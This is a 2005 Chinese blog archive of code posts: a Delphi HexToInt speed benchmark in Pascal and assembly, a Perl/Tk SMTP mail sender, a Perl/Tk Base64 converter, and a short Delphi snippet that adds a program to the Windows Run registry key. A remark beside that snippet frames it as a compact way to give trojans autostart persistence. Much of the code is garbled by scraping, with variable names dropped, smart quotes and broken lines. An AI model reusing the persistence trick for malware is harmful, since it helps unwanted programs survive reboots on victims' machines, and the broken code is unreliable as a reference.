Archive for April, 2005

Delphi HexToInt的几个函数速度比较

Thursday, April 21st, 2005

unit unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls
;

type
TForm1 = class(TForm
)
Button1: TButton
;
Memo1: TMemo
;
procedure Button1Click(Sender: TObject
);
private
{ Private declarations }
public
{ Public declarations }
end
;

var
Form1: TForm1
;

implementation

{$R *.dfm}

const
HexStr: String = ‘ABCD1234′
;
CalcTimes: Integer = 1000000
;

type
THexToIntFunc = function(const S: String): DWORD
;

function HexToInt_tseug0(const S: String): DWORD;
asm
PUSH EBX
PUSH ESI

MOV ESI, EAX //字符串地址
MOV EDX, [EAX-4]
//读取字符串长度

XOR EAX, EAX //初始化返回值
XOR ECX, ECX
//临时变量

TEST ESI, ESI //判断是否为空指针
JZ @@2
TEST EDX, EDX
//判断字符串是否为空
JLE @@2
MOV BL, $20
@@0:
MOV CL, [ESI]
INC ESI

OR CL, BL //如果有字母则被转换为小写字母
sub CL, ’0′
JB @@2
// < ’0′ 的字符
CMP CL, $09
JBE @@1
// ’0′..’9′ 的字符
sub CL, ‘a’-’0′-10
CMP CL, $0A
JB @@2
// < ‘a’ 的字符
CMP CL, $0F
JA @@2
// > ‘f’ 的字符
@@1:
// ’0′..’9′, ‘A’..’F', ‘a’..’f’
SHL EAX, 4
OR EAX, ECX
DEC EDX
JNZ @@0
JMP @@3
@@2:
XOR EAX, EAX
// 非法16进制字符串
@@3:
POP ESI
POP EBX
RET
end
;

function HexToInt_tseug1(const S: String): DWORD;
var
: Integer
;
begin
Result := 0
;
for := 1 to Length(s)
do
begin
case
s[I]
of
’0′..’9′: Result := Result * 16 + Ord(S[I]) – Ord(’0′
);
‘A’..‘F’: Result := Result * 16 + Ord(S[I]) – Ord(‘A’) + 10
;
‘a’..‘f’: Result := Result * 16 + Ord(S[I]) – Ord(‘a’) + 10
;
else
Result := 0
;
Exit
;
end
;
end
end
;

function HexToInt_DoubleWood(const S: string): DWORD;
const
Convert: array[0..255] of Integer
=
(
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
0, 1, 2, 3, 4, 5, 6, 7, 8, 9,-1,-1,-1,-1,-1,-1
,
-
1,10,11,12,13,14,15,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,10,11,12,13,14,15,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
,
-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-
1
);
var
I: Integer
;
v: Integer
;
begin
Result := 0
;
if Pointer(s) = nil then exit
;
for := 1 to PInteger(Integer(s) – 4)^
do
begin
begin
:= Convert[ord(s[i
])];
if V<0
then
begin
Result := 0
;
Exit
;
end
;
result := (result * 16) or V
;
end
;
end
;
end
;

function HexToInt_beta1(const S: string): DWORD;
const
ValidateTbl: array [0..255] of Byte
= (
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
00, 01, 02, 03, 04, 05, 06, 07, 08, 09, 16, 16, 16, 16, 16, 16
,
16, 10, 11, 12, 13, 14, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 10, 11, 12, 13, 14, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
);
asm
push ebx
push ecx
push edx
push esi
push edi

mov esi, eax //字符串地址
mov ecx, [eax-4]
//读取字符串长度
test esi, esi
//判断是否为空指针
jz @Err
test ecx, ecx
//判断字符串是否为空
jle @Err

xor eax, eax
lea edi, ValidateTbl
mov edx, ecx
xor ebx, ebx
@LoopValidate:
mov bl, [esi]
mov bl, [edi][ebx]
test ebx, 16
jnz @Err

shl eax, 4
or eax, ebx

inc esi
dec edx
jnz @LoopValidate

jmp @Ext
@Err:
xor eax, eax // 非法16进制字符串
@Ext:

pop edi
pop esi
pop edx
pop ecx
pop ebx
end;

function HexToInt_beta2(const S: string): DWORD;
const
ValidateTbl: array [0..255] of Byte
= (
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
00, 01, 02, 03, 04, 05, 06, 07, 08, 09, 16, 16, 16, 16, 16, 16
,
16, 10, 11, 12, 13, 14, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 10, 11, 12, 13, 14, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
);
asm
push ebx
push ecx
push edx
push esi
push edi

mov edi, esp
push 0

mov esi, eax //字符串地址
mov ecx, [eax - 4]
//读取字符串长度
test esi, esi
//判断是否为空指针
jz @Err
test ecx, ecx
//判断字符串是否为空
jle @Err

lea eax, ValidateTbl
xor edx, edx
xor ebx, ebx

test ecx, 1
jz @LeftBytes

//FirstByte:
mov bl, [esi]
mov bl, [eax][ebx]
test ebx, 16
jnz @Err
shl bl, 4
dec edi
mov [edi], bl

dec ecx
jz @Ext

@LeftBytes:
mov bl, [esi]
mov bl, [eax][ebx]
test ebx, 16
jnz @Err
mov dl, bl
shl dl, 4
inc esi

mov bl, [esi]
mov bl, [eax][ebx]
test ebx, 16
jnz @Err
or bl, dl
dec edi
mov [edi], bl
inc esi

dec ecx
dec ecx
jnz @LeftBytes

jmp @Ext
@Err:
mov [esp], 0
@Ext:
pop eax

pop edi
pop esi
pop edx
pop ecx
pop ebx
end;

// 测试函数,让制定的计算方法多执行几次,以拉开时间差距
function TestHexToInt(HexToIntFunc: THexToIntFunc; var Value: DWORD): DWord
;
var
I: Integer
;
begin
Result := GetTickCount
;

for := 1 to CalcTimes do
Value := HexToIntFunc(HexStr
);

Result := GetTickCount - Result;
end
;

procedure TForm1.Button1Click(Sender: TObject);
var
Value: DWORD
;
begin
Memo1.Lines.Add(Format(‘HexToInt_tseug0 (%dms).’, [TestHexToInt(HexToInt_tseug0, Value
)]));
Memo1.Lines.Add(Format(‘HexToInt_tseug1 (%dms).’, [TestHexToInt(HexToInt_tseug1, Value
)]));
Memo1.Lines.Add(Format(‘HexToInt_DoubleWood (%dms).’, [TestHexToInt(HexToInt_DoubleWood, Value
)]));
Memo1.Lines.Add(Format(‘HexToInt_beta1 (%dms).’, [TestHexToInt(HexToInt_beta1, Value
)]));
Memo1.Lines.Add(Format(‘HexToInt_beta2 (%dms).’, [TestHexToInt(HexToInt_beta2, Value
)]));
Memo1.Lines.Add(’1234′
);
end
;

end.

发邮件的PERL/Tk脚本

Wednesday, April 20th, 2005

#!c:/perl/bin/perl.exe

# jondy

# http://jondy.net

use strict;
use Tk;

my $mainbg = “sendmail.dat”;

my $main = new MainWindow;
$main->title(‘Perl SendMail 1.0;’
);
$main->geometry(“39×24″
);
if (-“sendmail.dat”
) {}
else
{
&MsgShow(‘OK’,‘Warning’,“SendMail.BMP没找到,请重新安装!”,“error”
);
exit
;
}
$main->Photo(‘main_bg’, -file => “$mainbg”
);
$main->Label(-image => ‘main_bg’)->pack(-side=>‘left’,-anchor=>‘n’
);
$main->Label(-text => ‘Perl SendMail 1.0 , Desgined by jondy;’,-width=>30)->place(-x=>128,-y=>95
);
$main->Label(-text => ‘服务器:’,-font=>‘{MS Sans Serif} 10 {normal}’,-relief=>‘groove’)->place(-x=>10,-y=>115
);
my $host = $main->Entry(-width => 34,-relief=>‘groove’,-font=>‘{MS Sans Serif} 10 {normal}’);
$host->place(-x=>62,-y=>115
);
$main->Label(-text => ‘用户名:’,-font=>‘{MS Sans Serif} 10 {normal}’,-relief=>‘groove’)->place(-x=>10,-y=>140
);
my $user = $main->Entry(-width => 13,-relief=>‘groove’,-font=>‘{MS Sans Serif} 10 {normal}’);
$user->place(-x=>62,-y=>140
);
$main->Label(-text => ‘密 码:’,-font=>‘{MS Sans Serif} 10 {normal}’,-relief=>‘groove’,width=>6)->place(-x=>160,-y=>140
);
my $pass = $main->Entry(-width => 13,-show =>‘*’,-relief=>‘groove’,-font=>‘{MS Sans Serif} 10 {normal}’);
$pass->place(-x=>209,-y=>140
);
$main->Label(-text => ‘发信人:’,-font=>‘{MS Sans Serif} 10 {normal}’,-relief=>‘groove’)->place(-x=>10,-y=>165
);
my $from = $main->Entry(-width => 13,-relief=>‘groove’,-font=>‘{MS Sans Serif} 10 {normal}’);
$from->place(-x=>62,-y=>165
);
$main->Label(-text => ‘收信人:’,-font=>‘{MS Sans Serif} 10 {normal}’,-relief=>‘groove’)->place(-x=>160,-y=>165
);
my $to = $main->Entry(-width => 13,-relief=>‘groove’,-font=>‘{MS Sans Serif} 10 {normal}’);
$to->place(-x=>209,-y=>165
);
$main->Label(-text => ‘主 题:’,-font=>‘{MS Sans Serif} 10 {normal}’,-relief=>‘groove’,width=>6)->place(-x=>10,-y=>190
);
my $subject = $main->Entry(-width => 34,-relief=>‘groove’,-font=>‘{MS Sans Serif} 10 {normal}’);
$subject->place(-x=>62,-y=>190
);
my $body=$main->Scrolled(qw/Text -relief groove -scrollbars e -wrap word -width 39 -height 6 -setgrid 1/,-font=>‘{MS Sans Serif} 10 {normal}’)->place(-x=>10,-y=>215);
$main->Button(-text => ‘发 送’,-width=>’8′,-relief=>‘ridge’
,
-font=>‘{Arial} 10 {bold}’,-command =>
sub{do_send($host,$user,$pass,$from,$to,$subject,$body)},
-activebackground=>‘white’)->place(-x=>10,-y=>322
);
$main->Button(-text => ‘清 空’,-activebackground=>‘white’,-width=>’8′,-relief=>‘ridge’, -font=>‘{Arial} 10 {bold}’,-command =>
sub{do_clear()})->place(-x=>120,-y=>322);
$main->Button(-text => ‘关 于’,-activebackground=>‘white’,-width=>’8′,-relief=>‘ridge’, -font=>‘{Arial} 10 {bold}’,-command =>
sub{do_about()})->place(-x=>230,-y=>322);
my $status = $main->Label(-text=>“谢谢你使用 Perl SendMail 1.0 …”, -font=>‘{System} 9 {normal}’,-relief=>‘sunken’, -borderwidth=>2, -anchor=>“w”,-width=>45);
$status->place(-x=>0,-y=>360
);

MainLoop;

sub do_send {
# Fill in status area
.
my ($host,$user,$pass,$from,$to,$subject,$body) = @_;
my $host1 = $host->get;
my $user1 = $user->get;
my $pass1 = $pass->get;
my $from1 = $from->get;
my $to1   = $to->get;
my $subject1= $subject->get;
my $body1 = $body->get(’0.0′,‘end’);

if ($host1 eq “”){
&MsgShow(‘OK’,‘error’,“请输入SMTP服务器!”,“error”
);
}
elsif ($user1 eq “”
){
&MsgShow(‘OK’,‘error’,“请输入用户名!”,“error”
);
}
elsif ($pass1 eq “”
){
&MsgShow(‘OK’,‘error’,“请输入密码!”,“error”
);
}
elsif ($from1 !~ /@/ or $from1 eq “”
){
&MsgShow(‘OK’,‘error’,“发信人的信箱 $from1 格式错误,请重新输入!”,“error”
);
}
elsif ($to1 !~ /@/ or $to1 eq “”
){
&MsgShow(‘OK’,‘error’,“收信人的信箱 $to1 格式错误,请重新输入!”,“error”
);
}
else
{
&sendmail($host1,$user1,$pass1,$from1,$to1,$subject1,$body1
)
or die &MsgShow(‘OK’,‘失败’,“信件发送失败”,“error”
);
&MsgShow(‘OK’,‘完成’,“给$to1的信件发送成功!”,“info”
);
$status->configure(-text=>“给$to1的信件发送成功!”
);
}
}
sub do_clear {
$host->delete(’0.0′,‘end’
);
$user->delete(’0.0′,‘end’
);
$pass->delete(’0.0′,‘end’
);
$from->delete(’0.0′,‘end’
);
$to->delete(’0.0′,‘end’
);
$subject->delete(’0.0′,‘end’
);
$body->delete(’0.0′,‘end’
);
$status->configure(-text=>“清空完成,请重新输入……”
);
&MsgShow(‘OK’,‘Clear’,“清空完成,请重新输入……”,“info”
);
}

sub MsgShow
{
my ($type,$title,$msg,$ico)=@_;
my $msgbox = $main->messageBox(-type=>$type , -title => $title,-message => $msg,-icon => $ico);
return($msgbox
);
}

sub Base64encode #Base64编码函数
{
my $res = “”;
while ($_[0] =~ /(.{1,45})/gs
)
{
$res .= substr(pack(‘u’, $1), 1
);
chop($res
);
}
$res =~ tr| -_|A-Za-z0-9
+/|;
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/‘=’ $padding/if ($padding
);
return $res
;
}

sub sendmail {
my ($host1,$user1,$pass1,$from1,$to1,$subject1,$body1) = @_;
my $SMTPPORT ||=25;
my ($a, $i, $name, $aliases, $proto, $type, $len, $thisaddr, $thataddr);
my @to = split(/,/, $host1);
my $AF_INET = 2;
my $SOCK_STREAM = 1;
my $SOCKADDR = ‘S n a4 x8′;
($name, $aliases, $proto) = getprotobyname(‘tcp’
);
($name, $aliases, $SMTPPORT) = getservbyname($SMTPPORT, ‘tcp’) unless ($SMTPPORT =~ /^\d+$
/);
($name, $aliases, $type, $len, $thataddr) = gethostbyname($host1
);
my $this = pack($SOCKADDR, $AF_INET, 0, $thisaddr);
my $that = pack($SOCKADDR, $AF_INET, $SMTPPORT, $thataddr);
return 0 unless (socket(S, $AF_INET, $SOCK_STREAM, $proto
));
return 0 unless (bind(S, $this
));
return 0 unless (connect(S, $that
));
select(S
);
$| = 1
;
select(STDOUT
);
$= <S
>;
if ($!~ /^2
/)
{
close(S
);
undef $
|;
return 0
;
}
print“EHLO localhost\n”;
$= <S
>;
print“AUTH LOGIN\n”;
$= <S
>;
my $smtpuser = Base64encode($user1);
print“$smtpuser\n”;
$= <S
>;
my $smtppass = Base64encode($pass1);
print“$smtppass\n”;
$= <S
>;
if ($!~ /^2
/){
&MsgShow(‘OK’,‘error’,“ESMTP验证错误,请检查用户名和密码!”,“error”
);
close(S
);
return 0
;
}
print“MAIL FROM: $from1\n”;
$= <S
>;
if ($!~ /^2
/)
{
close(S
);
return 0
;
}
print“RCPT TO: <$to1>\n”;
$= <S
>;
if ($!~ /^2
/)
{
close(S
);
return 0
;
}
print“DATA\n”;
print“From: $user1<$from1>\n”;
print“Subject: $subject1\n”;
print$body1;
print“\n\n”;
print“.\n”;
$= <S
>;
print“QUIT\n”;
$= <S
>;
close(S
);
return 1
;
}

sub do_about {
require Tk::LabFrame
;
$status->configure(-text=>“关于 Perl SendMail 1.0 ….”
);
my $about = $main->Toplevel;
$about->title(‘关于….’
);
$about->geometry(“300×280″
);
$about->Photo(‘main_bg’, -file => “$mainbg”
);
$about->Label(-image => ‘main_bg’)->pack(-side=>‘left’,-anchor=>‘nw’
);
$about->LabFrame(-label => “About…”,-labelside => ‘acrosstop’,width=>270,height=>100)->place(-x=>10,-y=>105
);
$about->Label(-text => “        Perl SendMail 原是以前写的一段发邮件的 \n 代码,这几天学习 Perl/Tk 顺便给她做了个图形\n 界面。如果有什么疏漏之处还请朋友们 Mail 我,\n  谢谢你们的支持!                                                   “
,
-font =>
‘{Arial} 9 {normal}’
)->place(-x=>20,-y=>125
);
$about->Label(-text => “- jondy”,-font => ‘{Comic Sans MS} 10 {normal}’)->place(-x=>218,-y=>199
);
$about->Label(-text => “http://jondy.net \n Mail:h4ck\@163.com”,-font => ‘{Arial} 9 {normal}’)->place(-x=>20,-y=>190
);
$about->Button(-text => ‘OK’,-width=>’10′,-relief=>‘ridge’, -font=>‘{Arial} 10 {normal}’,-command =>
sub{$about->destroy})->place(-x=>200,-y=>242);
}

Base64编码互换程序(Perl Tk)

Wednesday, April 20th, 2005

#!/usr/bin/perl
# jondy# http://jondy.net
use MIME::Base64;
use Tk;
use Tk::LabFrame;

my $main = new MainWindow;
$main->title(‘Base64编码互换程序’);
$main->geometry(“300×150″);

$main->LabFrame(-label => “Main”,
-labelside => ‘acrosstop’,
width=>276,
height=>60)->place(-x=>8,-y=>10);
my $basecode = $main->Entry(-width => 20,
-relief=>’groove’,
-font=>’{Courier New} 13 {normal}’)->place(-x=>20,-y=>35);
my $ascicode = $main->Entry(-width => 20,
-relief=>’groove’,
-font=>’{Courier New} 13 {normal}’)->place(-x=>20,-y=>60);
$main->Button(-text => ‘转 换’,
-relief=>’groove’,
-font=>’{宋体} 9 {normal}’,
-command=>\&encode)->place(-x=>235,-y=>34);
$main->Button(-text => ‘还 原’,
-relief=>’groove’,
-height=>’0′,
-font=>’{宋体} 9 {normal}’,
-command=>\&decode)->place(-x=>235,-y=>59);
$main->Label(-text => ‘Base64编码转换程序’,
-font=>’{宋体} 9 {normal}’,
-width=>30)->place(-x=>128,-y=>105);
$main->Label(-text => “Powered by jondy \n jondy\@tom.com”,
-font=>’{宋体} 9 {normal}’,
-width=>30)->place(-x=>128,-y=>120);

$basecode -> insert(’0′,’BASE64′);
$ascicode -> insert(’0′,’ASCII’);

MainLoop;

sub encode{
my $asci2code = $basecode->get;
$asci2code = decode_base64($asci2code);
$ascicode -> delete(’0′,’end’);
$ascicode -> insert(’0′,$asci2code);
}

sub decode{
my $base64code = $ascicode->get;
$base64code = encode_base64($base64code);
chop($base64code);
$basecode -> delete(’0′,’end’);
$basecode -> insert(’0′,$base64code);
}

DELPHI加注册表自启动的最简单代码

Wednesday, April 20th, 2005

program exe;
uses
windows
;
// 注册表新建键值的函数
procedure CreateKey(const RootKey : HKey; Key, ValueName, Value: string
);
var
Handle: HKey
;
Res
,
Disposition: Integer
;
begin
Res := RegCreateKeyEx(RootKey, PChar(Key), 0,
,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, Handle, @Disposition
);
if Res = 0
then begin
Res := RegSetValueEx(Handle, PChar(ValueName), 0
,
REG_SZ, PChar(Value), Length(Value) + 1
);
RegCloseKey(Handle
)
end
;
end
;
begin
//  跟                       位置                                      名          文件路径
CreateKey(HKEY_LOCAL_MACHINE,‘SoftWare\Microsoft\Windows\CurrentVersion\Run’,‘AutoRun’,‘C:\WINDOWS\regedit.exe’
);
end
.
////////////////////////////////////////////////////////
以前的代码,要用到registry,不适合写木马哦,要大好几K
呢。
标题
DELPHI加注册表自启动的最简单代码 选择自 jondynet
Blog
关键字 DELPHI
加注册表自启动的最简单代码
出处
uses registry
;
var reg:tregistry
;
begin
reg:=tregistry.create
;
reg.rootkey:=HKEY_LOCAL_MACHINE
;
reg.openkey(‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,true
);
reg.WriteString(‘ScanRegistry’,‘mir47.EXE’
);
reg.closekey
;
reg.free
;
end
.